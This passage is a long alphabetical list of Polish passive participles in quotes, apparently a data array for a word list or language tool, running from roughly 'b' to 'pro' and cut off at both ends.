ony","broniony","brudzony","brylowany","budowany","budzony","bujany","bulony","bulwersowany","bumelowany","burzony","butelkowany","bywany","cackany","całowany","capnięty","cechowany","celebrowany","celowany","ceniony","cenzurowany","chciany","chlany","chlapany","chlapnięty","chlastany","chłodzony","chlostany","chlubiony","chodowany","chomikowany","chorowany","chowany","chroniony","chrupany","chrzczony","chuty","chwalony","chwycony","chwytany","chybotany","chylony","ciachnięty","ciągany","ciągnięty","ciemiężony","cierpiany","cieszony","cięty","ciskany","ciśnięty","ciułany","cmokany","cmoknięty","cofany","cofnięty","ćpany","cucony","cudzołożony","cumowany","ćwiartowany","ćwiczony","cykany","cytowany","czajony","czarowany","czczony","czepiany","czepiony","czerpany","czesany","częstowany","czochrany","czołgany","czuty","czytany","czyty","darowany","darty","darzony","datowany","dawany","dbany","deaktywowany","debatowany","dedukowany","dedykowany","defibrylowany","defilowany","definiowany","defraudowany","degradowany","degustowany","deklamowany","deklarowany","dekodowany","dekompresowany","dekorowany","dekretowany","delegowany","delektowany","deliberowany","demaskowany","dementowany","demolowany","demonizowany","demonstrowany","demoralizowany","denerwowany","denuncjowany","depeszowany","depilowany","deportowany","deprawowany","deptany","deratyzowany","destabilizowany","destylowany","desygnowany","determinowany","detonowany","dewastowany","dewaulowany","dezaktywowany","dezorientowany","dezynfekowany","diagnozowany","dilowany","dłubany","dłużony","dmuchany","dmuchnięty","dobiegany","dobierany","dobijany","dobity","dobrany","dobudzony","dobyty","doceniany","doceniony","dochodzony","dochowany","dochowywany","dociągnięty","dociekany","docięty","docinany","dociskany","dociśnięty","doczekany","doczepiony","doczołgany","doczyszczony","doczytany","dodany","dodawany","dodrukowany","dodrukowywany","dofinansowany","dofinansowywany","dogadany","dogadywany","dogadzany","doganiany","doglądany","doglądnięty","dognany","dogodzony","dogoniony","dograny","dogryzany","dogryziony","dogrzany","dogrzebany","doinformowany","dojeżdżany","dojony","dojrzany","dojrzewany","dokańczany","dokarmiany","dokarmiony","dokazany","dokazywany","dokładany","doklejony","dokonany","dokończony","dokonywany","dokopany","dokopywany","dokowany","dokręcany","dokręcony","dokształcany","dokształcony","dokuczany","dokumentowany","dokupiony","dołączany","dołączony","doładowany","dolany","dolewany","doliczony","dołowany","dołożony","domagany","domalowany","domknięty","domniewywany","domówiony","domyślany","domyślony","domyty","doniesiony","donoszony","dopadany","dopadnięty","dopakowany","dopalony","dopasowany","dopasowywany","dopatrywany","dopatrzony","dopchany","dopchnięty","dopełniany","dopełniony","dopieszczony","dopięty","dopijany","dopilnowany","dopingowany","dopisany","dopisywany","dopity","dopłacany","dopłacony","dopłynięty","dopolerowany","dopompowany","dopowiedziany","dopracowany","dopracowywany","doprany","doprawiony","doprecyzowany","doproszony","doprowadzany","doprowadzony","dopucowany","dopuszczany","dopuszczony","dopytywany","dorabiany","doradzany","doradzony","doręczany","doręczony","dorobiony","dorównany","dorównywany","dorwany","dorysowany","dorzucany","dorzucony","doścignięty","dosiadany","dosięgnięty","doskoczony","doskonalony","dosładzany","dosłany","dosłyszany","dosolony","dośrodkowany","dossany","dostany","dostąpiony","dostarczany","dostarczony","dostawany","dostawiany","dostawiony","dostosowany","dostosowywany","dostrajany","dostrojony","dostrzegany","dosunięty","dosuwany","doświadczany","Doświetlony","dosypany","dosypywany","doszkolony","doszlifowany","doszorowany","doszukany","doszukiwany","doszyty","dotankowany","dotankowywany","dotargany","dotaszczony","dotknięty","dotleniony","dotłumaczony","dotowany","dotrwany","dotrzymany","dotrzymywany","dotykany","douczany","douczony","dowalony","dowieziony","dowodzony","dowożony","doznany","doznawany","dozorowany","dozowany","dożyty","dożywiony","dramatyzowany","drapany","drapnięty","draśnięty","drażniony","drążony","dręczony","drenowany","drgany","drgnięty","drukowany","dryblowany","dryfowany","drzemany","dubbingowany","dublowany","duplikowany","duszony","dworowany","dygotany","dyktowany","dymany","dymiony","dyrygowany","dyscyplinowany","dyskredytowany","dyskryminowany","dyskutowany","dyskwalifikowany","dysponowany","dystansowany","dystrybuowany","dywagowany","dźgany","dźgnięty","dziabnięty","dziedziczony","dziękowany","dzielony","dziergany","dzierżony","dziobany","dziurawiony","dziurkowany","dźwigany","dźwignięty","edukowany","edytowany","egzaminowany","egzekutowany","egzekwowany","ekscytowany","ekshumowany","ekskomunikowany","eksmitowany","ekspandowany","eksperymentowany","eksploatowany","eksplorowany","eksponowany","eksportowany","eksterminowany","ekstradowany","ekstrapolowany","eliminowany","emancypowany","emanoway","emigrowany","emitowany","energetyzowany","eskortowany","etykietowany","ewakuowany","ewaluowany","fabrykowany","falowany","fałszowany","farbowany","faszerowany","faulowany","faworyzowany","fechtowany","fermentowany","ferowany","figurowany","filetowany","filmowany","filtrowany","finalizowany","finansowany","firmowany","fleszowany","folgowany","formułowany","forsowany","fotografowany","fundowany","gadany","ganiany","garbiony","gardzony","garnirowany","gaszony","gawędzony","gaworzony","gazowany","gdakany","gderany","generalizowany","generowany","gięty","gilgotany","gładzony","głaskany","głodowany","głodzony","gloryfikowany","głosowany","głoszony","głowiony","gmatwany","gmerany","gnany","gnębiony","gnieciony","gnity","gnojony","godzony","gojony","golnięty","golony","goniony","googlowany","gospodarowany","goszczony","gotowany","grabiony","grany","grasowany","gratulowany","grillowany","grilowany","gromadzony","gromiony","grożony","gruchany","gruchnięty","grupowany","grywany","gryziony","grzany","grzechotany","gubiony","gustowany","gwałcony","gwarantowany","gwizdany","gwizdnięty","hackowany","haftowany","hajtnięty","hamowany","hańbiony","handlowany","harcowany","harmonizowany","harowany","hartowany","hibernowany","hipnotyzowany","hodowany","holowany","hołubiony","honorowany","hospitalizowany","huknięty","hulany","huśtany","idealizowany","identyfikowany","ignorowany","igrany","ilustrowany","imitowany","implantowany","implodowany","imponowany","importowany","improwizowany","indokrynowany","indukowany","infekowany","infiltrowany","informowany","ingerowany","inhalowany","inscenizowany","inspirowany","instalowany","instruowany","insynuowany","integrowany","interpretowany","interweniowany","intonowany","intubowany","inwestowany","inwigilowany","irytowany","iskrzony","izolowany","jadany","jawiony","jazgotany","jednoczony","jedzony","kablowany","kadzony","kalany","kaleczony","kalkulowany","kamerowany","kamienowany","kamuflowany","kanalizowany","kantowanty","kąpany","kapitulowany","kapowany","karany","karbonizowany","karcony","karczowany","karmiony","kartkowany","kąsany","kasowany","kastrowany","katalogowany","katapultowany","katowany","katrupiony","kierowany","kimany","kiszony","kiwany","kiwnięty","kłaniany","klapany","klapnięty","klarowany","klasyfikowany","klębiony","klejony","klepany","klepnięty","klikany","kliknięty","klonowany","kłopotany","kłuty","knocony","knuty","kochany","koczowany","kodowany","kojarzony","kojfnięty","kojony","kolekcjonowany","kolektywizowany","kolidowany","kolonizowany","kolorowany","koloryzowany","kołowany","kołysany","kombinowany","komenderowany","komentowany","komercjalizowany","kompensowany","komplementowany","komplikowany","komponowany","kompromitowany","komunikowany","konany","koncentrowany","kończony","konfabulowany","konfiskowany","konfrontowany","konserwowany","konspirowany","konstruowany","konsultowany","konsumowany","kontaktowany","kontestowany","kontrastowany","kontrolowany","kontrowany","kontynuowany","kontynuuowany","konwertowany","konwojowany","koordynowany","kopany","kopcony","kopiowany","kopnięty","kopulowany","korelowany","korkowany","koronowany","korygowany","korzony","korzystany","koszony","kotwiczony","kozaczony","kozłowany","kpity","kradziony","krajany","krążony","kręcony","kremowany","kreowany","krochmalony","krojony","kropiony","kruszony","krystalizowany","kryty","krytykowany","krzepnięty","krzyczany","krzyknięty","krzywdzony","krzywiony","krzyżowany","kserowany","księgowany","kształcony","kształtowany","kulony","kultywowany","kumulowany","kupczony","kupiony","kupowany","kupywany","kurczony","kurowany","kursowany","kurzony","kuszony","kuty","kwalifikowany","kwestionowany","łączony","ładowany","łagodzony","łajdaczony","lakierowany","łamany","lamentowany","lansowany","lany","łapany","łaskotany","łaszony","latany","łatany","lawirowany","leczony","legalizowany","legitymowany","lekceważony","lepiony","lewitowany","liberowany","licencjonowany","licytowany","liczony","likwidowany","linczowany","liniowany","literowany","litowany","lizany","liznięty","lobbowany","lokalizowany","losowany","łowiony","łożony","lubiany","łudzony","lunatykowany","łupany","łupiony","łuskany","lustrowany","łuszczony","luzowany","łykany","łyknięty","łyżeczkowany","macany","machany","machnięty","mącony","maczany","maganyzowany","maglowany","majaczony","majsterkowany","majtany","maksymalizowany","malowany","maltretowany","mamiony","mamrotany","manewrowany","manifestowany","manipulowany","markowany","marnotrawiony","marnowany","marszczony","marynowany","marznięty","masakrowany","maskowany","masowany","masturbowany","mataczony","materializowany","mawiany","mazany","maznięty","męczony","meldowany","merdany","metabolizowany","miażdżony","mielony","mierzony","mierzwiony","mieszany","miętolony","migany","migdalony","migotany","mijany","miksowany","milowany","minięty","minimalizowany","miotany","mistyfikowany","mitygowany","mizdrzony","mlany","mniemany","mnożony","mobilizowany","mocowany","moczony","modelowany","modernizowany","modlony","modulowany","modyfikowany","molestowany","monitorowany","monopolizowany","montowany","mordowany","motywowany","mówiony","mrożony","mrugany","mrużony","muskany","mutowany","mydlony","mylony","myszkowany","myty","nabazgrany","nabiegany","nabierany","nabity","nabrany","nabrojony","nabrudzony","nabyty","nabywany","nacelowany","nachapany","nachodzony","nachwalony","nachylony","naciągany","naciągnięty","nacierany","nacięty","nacinany","naciskany","naciśnięty","nacjonalizowany","naczepiony","nadany","nadawany","nadchodzony","nadciągany","nadciągnięty","nadcięty","nadesłany","nadgoniony","nadgryzany","nadgryziony","nadinterpretowany","nadłożony","nadmieniany","nadmieniony","nadmuchany","nadrabiany","nadrobiony","nadskakiwany","nadsłuchiwany","nadstawiany","nadstawiony","nadszarpnięty","naduszony","nadużyty","nadużywany","nadwerężany","nadwyrężany","nadwyrężony","nadziany","nadzorowany","naelektryzowany","nafaszerowany","nagabywany","nagadany","nagięty","naginany","nagłaszany","nagłośniony","nagoniony","nagradzany","nagrany","nagrodzony","nagromadzony","nagrywany","nagryzmolony","nagrzany","nagrzebany","nagrzewany","nagwizdany","naigrywany","najechany","najęty","najmowany","nakarmiany","nakarmiony","nakazany","nakazywany","nakierowany","nakierowywany","nakładany","nakłamany","nakłaniany","naklejany","naklejony","naklepany","nakłoniony","nakłuty","nakłuwany","nakopany","nakręcany","nakręcony","nakreślany","nakreślony","nakruszony","nakryty","nakrywany","nakrzyczany","nakupiony","naładowany","nalany","nałapany","nalepiony","nalewany","naliczony","nałowiony","nałożony","namaczany","namagnetyzowany","namalowany","namaszczany","namaszczony","namawiany","namęczony","namierzany","namieszany","namoczony","namówiony","namydlany","namyślony","naniesiony","naoliwiany","naoliwiony","naopowiadany","naostrzony","napadany","napadnięty","napakowany","napalony","naparzany","napastowany","napawany","napchany","napędzany","napełniany","napełniony","napierany","napiętnowany","napięty","napinany","napisany","napluty","napływany","napoczęty","napojony","napompowany","napotkany","napotykany","napraszany","naprawiany","naprawiony","naprężany","naprężony","napromieniowany","naprostowany","naprowadzany","naprowadzony","napsuty","napuszczany","napuszczony","napychany","napytany","narąbany","naradzany","naradzony","narastany","narażany","narażony","nareperowany","narkotyzowany","narodzony","naruszany","naruszony","narwany","narysowany","narzucany","narzucony","nasączany","nasączony","nasadzony","nasiąkany","nasilany","nasilony","naskakiwany","naskoczony","naskrobany","naśladowany","nasłany","nasłuchany","nasłuchiwany","nasmarowany","nastąpiony","nastawiany","nastawiony","nastraszany","nastrojony","nastukany","nasunięty","nasuwany","naświetlany","nasycony","nasyłany","nasypany","naszczany","naszkicowany","naszpikowany","naszprycowany","naszykowany","naszyty","naszywany","natarty","natchnięty","natknięty","natleniony","natłuszczony","natrafiony","natrząsany","natrząsnięty","nauczany","nauczony","nawadniany","nawalony","nawiązany","nawiązywany","nawiedzany","nawiedzony","nawiercony","nawiewany","nawieziony","nawigowany","nawijany","nawilżany","nawilżony","nawinięty","nawlekany","nawodniony","nawoływany","nawoskowany","nawożony","nawpychany","nawracany","nawrócony","nawrzucany","nawtykany","nawymyślany","nazbierany","nazmyślany","naznaczany","naznaczony","nazrywany","nazwany","nazywany","nęcony","negocjowany","negowany","nękany","neutralizowany","niańczony","niecierpliwiony","niedoceniany","niedowidziany","nienawidzony","niesiony","nikolony","niszczony","nitkowany","niuchany","niweczony","niwelowany","nokautowany","nominowany","notowany","nucony","numerowany","nurtowany","obaczony","obadany","obalany","obalony","obandażowany","obarczany","obarczony","obawiany","obchodzony","obciągnięty","obciążony","obcięty","obcinany","obcyndalany","obczajany","obczajony","obdarowany","obdarty","obdarzany","obdarzony","obdzielony","obdzierany","obdzwaniany","obdzwoniony","obejmowany","oberwany","obessany","obezwładniany","obezwładniony","obfotografowany","obfotografowywany","obgadany","obgadywany","obgryzany","obgryziony","obiecany","obiecywany","obierany","obijany","obity","objadany","objaśniany","objawiany","objawiony","objechany","objęty","objeżdżany","obkręcany","oblany","obłapiany","obłapywany","obłaskawiany","obłaskawiony","obleciany","obleganu","oblewany","obliczany","obliczony","oblizany","obłowiony","obłożony","obluzowany","obluzowywany","obmacany","obmacywany","obmawiany","obmyślany","obmyślony","obmyty","obmywany","obnażany","obniżany","obniżony","obnoszony","obowiązywany","obozowany","obrabiany","obrabowany","obracany","obradowany","obramowany","obraniany","obrany","obrastany","obrażany","obrażony","obrobiony","obrócony","obrodzony","obroniony","obrysowany","obrywany","obryzgany","obrzezany","obrzucany","obrzucony","obrzygany","obsadzany","obsadzony","obściskiwany","obserwowany","obsiany","obsikany","obsikiwany","obskakiwany","obskoczony","obskubany","obskubywany","obśliniany","obśliniony","obsługiwany","obsłużony","obsmarowany","obstawiany","obstawiony","obstrzeliwany","obsunięty","obsuwany","obsypany","obsypywany","obszukany","obszukiwany","obtaczany","obtarty","obtoczony","obudzony","obwąchany","obwąchiwany","obwiązany","obwiązywany","obwieszany","obwieszczany","obwieszczony","obwieszony","obwijany","obwiniany","obwinięty","obwołany","obyty","obżerany","ocalany","ocalony","ocechowany","oceniany","oceniony","ocenzurowany","ochładzany","ochlapany","ochlapywany","ochłodzony","ochłonięty","ochraniany","ochroniony","ochrzaniany","ochrzczony","ociągany","ocielony","ocieplany","ocieplony","ocierany","ocknięty","ocucony","ocuty","oczarowywany","oczekiwany","oczerniany","oczerniony","oczyszczany","oczyszczony","odarty","odbębniony","odbetonowany","odbezpieczany","odbezpieczony","odbijany","odbity","odblokowany","odbudowany","odbudowywany","odbutowany","odbyty","odcedzany","odchorowany","odchowany","odchudzany","odchudzony","odchylany","odchylony","odciągany","odciągnięty","odciążony","odcierpiony","odcięty","odcinany","odcisnięty","odcumowany","odcyfrowany","odcyfrowywany","odczarowany","odczekany","odczepiany","odczepiony","odczuty","odczuwany","odczyniony","odczytany","odczytywany","oddalany","oddany","oddawany","oddelegowany","oddychany","oddzielany","oddzielony","odebrany","odegnany","odegrany","odejmowany","odepchnięty","oderwany","odeskortowany","odesłany","odespany","odessany","odetkany","odetnięty","odezwany","odfiltrowany","odgadnięty","odgadywany","odganiany","odgarniany","odgarnięty","odgięty","odgniatany","odgoniony","odgradzany","odgrażany","odgrodzony","odgruzowany","odgrywany","odgryzany","odgryziony","odgrzany","odgrzebany","odgrzebywany","odgrzewany","odgwizdany","odhaczony","odholowany","odinstalowany","odizolowany","odjedzony","odjęty","odjonizowany","odkażany","odkażony","odkładany","odklejony","odkochany","odkodowany","odkodowywany","odkopany","odkopywany","odkorkowany","odkręcany","odkręcony","odkrojony","odkryty","odkrywany","odkupiony","odkupywany","odkurzany","odkurzony","odkuty","odłączany","odłączony","odłamywany","odlany","odlatywany","odlepiany","odlewany","odliczany","odliczony","odłożony","odłupany","odmachany","odmachiwany","odmalowany","odmarszczony","odmawiany","odmeldowany","odmieniany","odmieniony","odmierzany","odmierzony","odmieszany","odmontowany","odmówiony","odmrażany","odmrożony","odnajdowany","odnaleziony","odnawiany","odniesiony","odnoszony","odnotowany","odnotowywany","odnowiony","odpakowany","odpakowywany","odpalany","odpalony","odpałzowany","odparowany","odparty","odpędzany","odpicowany","odpieczętowany","odpierany","odpięty","odpiłowany","odpiłowywany","odpinany","odpisany","odpisywany","odpłacany","odplamiony","odplątany","odpłynięty","odpowietrzony","odpracowany","odpracowywany","odprasowany","odprawiany","odprawiony","odprężany","odprostowany","odprowadzany","odprowadzony","odpruty","odpryskany","odpukany","odpukiwany","odpuszczany","odpuszczony","odpychany","odrąbany","odrabiany","odrąbywany","odradzany","odradzony","odrapany","odrastany","odratowany","odreagowany","odremontowany","odrestaurowany","odrestaurowywany","odrobaczany","odrobiony","odroczony","odrodzony","odrośnięty","odróżniany","odróżniony","odrysowany","odrywany","odrzucany","odrzucony","odsączany","odsączony","odsadzony","odseparowany","odsiadywany","odsiany","odsiewany","odsłaniany","odsłonięty","odsłuchany","odsłuchiwany","odsłużony","odśnieżany","odśnieżony","odsolony","odśpiewany","odsprzedany","odsprzedawany","odstąpiony","odstawiany","odstawiony","odstępowany","odstraszany","odstręczony","odstresowany","odstrzeliwany","odstrzelony","odsunięty","odsuwany","odświeżany","odświeżony","odsyłany","odsypywany","odsysany","odszczekany","odszczekiwany","odsztafirowany","odszukany","odszyfrowany","odszyfrowywany","odszykowany","odtrąbiony","odtrącony","odtruty","odtwarzany","odtworzony","oduczony","odurzony","odwalany","odwalony","odwiązany","odwiązywany","odwiedzany","odwiedzony","odwieszony","odwieziony","odwijany","odwinięty","odwlekany","odwodniony","odwodzony","odwołany","odwoływany","odwożony","odwracany","odwrócony","odwzajemniony","odwzorowany","odżegnany","odziany","odziedziczony","odznaczany","odznaczony","odzwieciedlony","odzwierciedlany","odzwoniony","odzwyczajony","odzyskany","odzyskiwany","odżyty","odzywiany","odżywiony","oferowany","ofiarowany","ofiarowywany","ogarniany","ogarnięty","oglądany","ogłaszany","ogłoszony","ogłupiany","ogłupiony","ogłuszony","ogołocony","ogolony","ograbiany","ograbiony","ograniczany","ograniczony","ograny","ogrodzony","ogryziony","ogrzany","ogrzewany","okablowany","okaleczony","okantowany","okąpany","okazany","okazywany","okiełznany","okładany","okłamany","okłamywany","oklaskiwany","oklejony","oklepany","okopany","okopywany","okpiony","okradany","okradziony","okraszony","okrążany","okrążony","okręcany","okręcony","określany","określony","okrojony","okryty","okrywany","okrzyknięty","okulawiony","okupiony","okupowany","olany","olewany","olśnięty","omamiony","omawiany","omdlewany","omijany","ominięty","omotany","omówiony","onanizowany","onieśmielany","onieśmielony","opadnięty","opakowany","opalany","opalony","opancerzony","opanowany","opanowywany","oparty","oparzony","opasany","opatentowany","opatrywany","opatrzony","opatulony","opchnięty","opędzany","opędzony","operowany","opętany","opętywany","opieczętowany","opiekowany","opierany","opijany","opisany","opisywany","opity","opłacany","opłacony","opłakany","opłakiwany","opłukany","opluty","opluwany","opływany","opodatkowany","opodatkowywany","oponowany","oporządzany","oporządzony","opowiadany","opowiedziany","opóźniany","opóźniony","opracowany","opracowywany","oprawiany","oprawiony","oprowadzany","oprowadzony","opróżniany","opróżniony","opryskany","opryskiwany","opublikowany","opukany","opuszczany","opuszczony","opychany","opylony","orany","orbowany","organizowany","orientowany","oroszony","orzekany","orżnięty","osaczany","osaczony","osadzany","osądzany","osadzony","osądzony","oscylowany","osiadany","osiągany","osiągnięty","osiedlany","osiedlony","osiedzony","osierocony","osiodłany","oskalpowany","oskarżony","oskrobany","oskrzydlany","oskrzydlony","oskubany","oskubywany","osłabiany","osłabiony","oślepiany","oślepiony","oślepnięty","ośliniany","osłodzony","osłoniony","osłuchany","osmalony","ośmielony","ośmieszany","ośmieszony","ostrzegany","ostrzelany","ostrzelity","ostrzony","ostudzony","osunięty","osuszany","osuszony","osuwany","oswajany","oświadczany","oświadczony","oświecany","oświeciony","oświetlany","oświetlony","oswobadzany","oswobodzony","oswojony","oszacowany","oszałamiany","oszczany","oszczędzany","oszczędzony","oszklony","oszlifowany","oszołomiony","oszpecony","oszukany","oszukiwany","oszwabiony","otaczany","otarty","otoczony","otruty","otruwany","otrząsany","otrząśnięty","otrzepany","otrzeźwiony","otrzymany","otrzymywany","otulony","otumaniony","otwierany","otworzony","otwarty","owany","owdowiony","owiany","owijany","owinięty","ozdabiany","ozdobiony","ozdrowiony","ożeniony","oznaczany","oznaczony","oznajmiany","oznajmiony","oznakowany","ożyty","ożywany","ożywiany","ożywiony","pachnący","pacnąty","pakowany","paktowany","pałany","pałaszowany","palnięty","palony","pamiętany","panoszony","paprany","parafrazowany","paraliżowany","parkowany","parowany","partaczony","parzony","pastowany","paszony","patrolowany","patroszony","patrzony","pauzowany","pchany","pchnięty","pdholowany","pedałowany","pękany","pęknięty","pełniony","penetrowany","perforowany","perfumowany","perswadowany","piastowany","pichcony","pielęgnowany","pielony","pieniony","pieszczony","piętnowany","pięty","pijany","pikietowany","piknikowany","pikowany","pilnowany","pilotowany","piłowany","pisany","pisywany","pity","płacony","plądrowany","plamiony","planowany","płaszczony","plątany","płatany","pławiony","plewiony","płonący","płoszony","plotkowany","plugawiony","płukany","pluskany","pluty","pobaraszkowany","pobierany","pobity","pobłażany","pobłogosławiony","pobrany","pobrudzony","pobudzany","pobudzony","pobujany","pocałowany","pocerowany","pochłaniany","pochlapany","pochlebiany","pochłonięty","pochowany","pochwalany","pochwalony","pochwycony","pochylany","pochylony","pociachany","pociągany","pociągnięty","pocierany","pocieszany","pocieszony","pocięty","pocony","pocukrowany","poćwiartowany","poczesany","poczęstowany","poczęty","poczochrany","poczuty","poczytany","poczytywany","podany","podarowany","podarty","podawany","podążony","podbierany","podbijany","podbity","podbudowany","podbudowywany","podburzany","podburzony","podchwycony","podciągany","podciągnięty","podcierany","podcięty","podcinany","podczepiony","poddany","poddawany","podebrany","podejmowany","podejrzany","podejrzewany","podelektowany","podeptany","poderwany","podesłany","podglądany","podgolony","podgoniony","podgryzany","podgrzany","podgrzewany","podjadany","podjedzony","podjęty","podkablowany","podkarmiony","podkładany","podklejony","podkolorowany","podkołowany","podkopany","podkopywany","podkradany","podkradnięty","podkręcany","podkręcony","podkreślany","podkreślony","podkształcony","podkulony","podkupiony","podkurzony","podkuty","podłączany","podłączony","podładowany","podłamany","podlany","podłapany","podleczony","podlegany","podlewany","podliczany","podliczony","podlizany","podlizywany","podłożony","podmalowany","podmieniany","podmieniony","podmuchany","podmyty","podnajęty","podniecany","podniecony","podniesiony","podnoszony","podołany","podopingowany","podostrzony","podotykany","podpadnięty","podpalany","podpalony","podparty","podpatrywany","podpatrzony","podpieczętowany","podpiekany","podpierany","podpięty","podpiłowany","podpinany","podpisany","podpisywany","podpłacony","podpłynięty","podpompowany","podporządkowany","podporządkowywany","podpowiadany","podpowiedziany","podprowadzany","podpuszczany","podpuszczony","podpychany","podpytany","podrabiany","podrapany","podrasowany","podratowany","podrażniony","podręczony","podregulowany","podreperowany","podretuszowany","podrobiony","podroczony","podróżowany","podrygiwany","podrywany","podrzucany","podrzucony","podrzynany","podsadzony","podskubywany","podsłuchany","podsłuchiwany","podsmażany","podsmażony","podśpiewywany","podstawiany","podstawiony","podstemplowany","podstrojony","podsumowany","podsumowywany","podsunięty","podsuwany","podświetlany","podsycany","podsycony","podsyłany","podsypany","podszczypywany","podszkolony","podszlifowany","podszykowany","podszyty","podszywany","podtapiany","podtarty","podtopiony","podtrzymany","podtrzymywany","podtuczony","poduczany","podupadany","poduszony","podwajany","podwalany","podważany","podwędzony","podwiązany","podwieszany","podwieziony","podwijany","podwinięty","podwojony","podwożony","podwyżany","podwyższany","podwyższony","podyktowany","podyskutowany","podziabany","podziałany","podziałkowany","podziękowany","podzielony","podziurawiony","podziwiany","podźwignięty","poeksperymentowany","pofarbowany","pofatygowany","pofilmowany","poganiany","pogardzany","pogardzony","pogarszany","pogaszony","pogładzony","pogłaskany","pogłębiany","pogłębiony","pogłośniony","pogmatwany","pognębiony","pognieciony","pogodzony","pogoniony","pogorszony","pogotowany","pograbiony","pogrążany","pogrążony","pogrożony","pogrubiany","pogrubiony","pogruchany","pogruchotany","pogrupowany","pogrywany","pogryzany","pogryziony","pogrzany","pogrzebany","pogubiony","pogwałcany","pohamowany","pohandlowany","poharatowany","pohuśtany","poinformowany","poinstruowany","pojednany","pojęty","pojmięty","pojmowany","pojony","pokajany","pokaleczony","pokarany","pokarmiony","pokąsany","pokatalogowany","pokazany","pokazywany","pokiereszowany","pokierowany","pokiwany","pokładany","poklepany","poklepywany","pokłoniony","pokłuty","pokochany","pokolorowany","pokoloryzowany","pokołysany","pokombinowany","pokomplikowany","pokonany","pokończony","pokonywany","pokopany","pokrajany","pokrążony","pokręcony","pokrojony","pokruszony","pokryty","pokrywany","pokrzepiany","pokrzepiony","pokrzyżowany","pokuszony","pokutowany","połączony","polakierowany","połamany","polany","połapany","połaskotany","połatany","polecany","połechtany","polecony","poleczony","polegany","polemizowany","polepszany","polepszony","polerowany","polewany","policzkowany","policzony","polimeryzowany","polizany","połknięty","polowany","połowiony","położony","polubiony","poluźniony","poluzowany","połykany","pomacany","pomachany","pomagany","pomalowany","pomarynowany","pomasowany","pomazany","pomęczony","pomiatany","pomieszany","pomieszczony","pomijany","pominięty","pomiziany","pomknięty","pomnażany","pomniejszany","pomniejszony","pomnożony","pomoczony","pompowany","pomydlony","pomylony","pomyszkowany","pomywany","ponabijany","ponaciskany","ponadziewany","ponaglany","ponaglony","ponagrywany","ponaklejany","ponakłuwany","ponakrywany","ponaprawiany","ponawiany","poniańczony","poniechany","ponieiwerany","poniesiony","poniszczony","poniżany","poniżony","ponoszony","ponowiony","ponudzony","poobcinany","poobcowany","poobczajany","poobijany","poobmacywany","poobracany","poobserwowany","poodbijany","poodcinany","poodgryzany","poodkurzany","poodprawiany","poodsuwany","poodwalany","pooglądany","poograniczany","poopalany","poopiekany","poopwiadany","pootwierany","popadany","popakowany","popalony","poparty","poparzony","popchany","popchnięty","popędzany","popędzony","popękany","popełniany","popełniony","poperfumowany","popierany","popieszczony","popijany","popilnowany","popisany","popity","popłacony","popłakiwany","poplamiony","poplątany","popluskany","popodcinany","popodziwiany","popoprawiany","poprany","poprasowany","poprawiany","poprawiony","poproszony","poprowadzony","popryskany","poprzebierany","poprzeciągany","poprzecinany","poprzedzany","poprzeglądany","poprzeklinany","poprzekopywany","poprzemieszczany","poprzenoszony","poprzesadzany","poprześladowany","poprzestawiany","poprzesuwany","poprzewieszany","poprzewracany","poprzycinany","poprzymierzany","poprzytulany","poprzywiązywany","popsuty","popudrowany","popukany","popularyzowany","popuszczany","popuszczony","popychany","popykany","popytany","porabiany","porachowany","poraniony","poratowany","porażony","poręczony","porównany","porozbierany","porozbijany","porozciągany","porozcinany","porozdawany","porozdzielany","porozmieszczany","poróżniony","porozpędzany","porozpieszczany","porozprowadzany","porozpruwany","porozrzucany","porozstawiany","porozsyłany","porozumiewany","porozwalany","porozwiązywany","porozwieszany","porozwożony","portretowany","poruszany","poruszony","porwany","porysowany","porywany","porządkowany","porządzony","porzucany","porzucony","posądzany","posadzony","posądzony","pościągany","pościelony","pościerany","pościgany","pościnany","pościskany","posegregowany","posiadany","posiany","posiekany","posilany","posiłkowany","posilony","posiłowany","posiniaczony","posiorbany","poskąpiony","poskładany","posklejany","poskramiany","poskręcany","poskrobany","poskromiony","poskubany","posłany","posłodzony","poślubiany","poślubiony","posługiwany","posmakowany","posmarowany","posolony","posortowany","pospekulowany","pospieszany","pośpieszany","pośpiewany","pospinany","pospłacany","posprawdzany","posprzątany","posprzedawany","pośredniczony","possany","postanowiony","postany","postarany","postawiony","postemplowany","posterowany","postradany","postraszony","postrugany","postrzegany","postrzelany","postrzelony","postukany","postymulowany","posunięty","posuwany","poświącany","poświadczony","poświecony","poświęcony","poświętowany","poświntuszony","posyłany","posypany","posypywany","poszarpany","poszastany","poszatkowany","poszczuty","poszczycony","poszczypany","poszerzany","poszerzony","poszorowany","poszpiegowany","poszturchany","poszukany","poszukiwany","poszwędany","poszybowany","potakiwany","potarmoszony","potarty","potasowany","potęgowany","potępiany","potępiony","potknięty","potoczony","potopiony","potorturowany","potrącany","potrącony","potraktowany","potrojony","potruty","potrząsany","potrzaskany","potrząsnięty","potrząśnięty","potrzymany","Poturbowany","poturlany","potwierdzony","potykany","poucinany","pouczany","pouczony","poudawany","poukładany","pouprawiany","poupychany","pourywany","poustawiany","poużywany","powąchany","powachlowany","powalany","powalony","poważany","powbijany","powciągany","powciskany","powdychany","powęszony","powetowany","powiadamiany","powiadomiony","powiązany","powiedziany","powiedzony","powiększany","powielany","powielony","powierzany","powierzony","powieszony","powiewany","powinszowany","powitany","powity","powkładany","powlekany","powłóczony","powodowany","powołany","powoływany","powożony","powpychany","powrócony","powrzucany","powsadzany","powściągnięty","powspominany","powstrzymany","powtarzany","powtórzony","powybierany","powybijany","powycierany","powycinany","powyciskany","powydawany","powyganiany","powyginany","powyjaśniany","powyjmowany","powyłączany","powymiatany","powymieniany","powynoszony","powypełniany","powypisywany","powyrywany","powyrzucany","powystrzelany","powysyłany","powywalany","powywieszany","powywracany","powzięty","pozabawiany","pozabijany","pozacierany","pożądany","pożądlony","pozadzierany","pozakładany","pozaklinany","pozałatwiany","pozamiatany","pozamieniany","pozamrażany","pozamykany","pozapalany","pozapinany","pozapisywany","pozapraszany","pożarty","pozasłaniany","pozastrzelany","pozatykany","pozbawiany","pozbawiony","pozbierany","pozbyty","pozbywany","pozdejmowany","pozdrawiany","pozdrowiony","pożegnany","pożerany","pozmiatany","pozmieniany","pozmywany","poznaczony","poznany","poznawany","poznęcany","pozorowany","pozostawiany","pozostawiony","pozowany","pozrywany","pozszywany","pożuty","pozwalniany","pozwany","pozwiązywany","pozwiedzany","pozwolony","pożyczany","pożyczony","pozyskany","pożyty","pozywany","pożywiany","pożywiony","praktykowany","prany","prasowany","prawiony","prażony","precyzowany","preferowany","prenumerowany","prezentowany","próbowany","procesowany","produkowany","profanowany","profilowany","prognozowany","programowany","projektowany","proklamowany","prolongowany","promieniowany","promowany","propagowany","proponow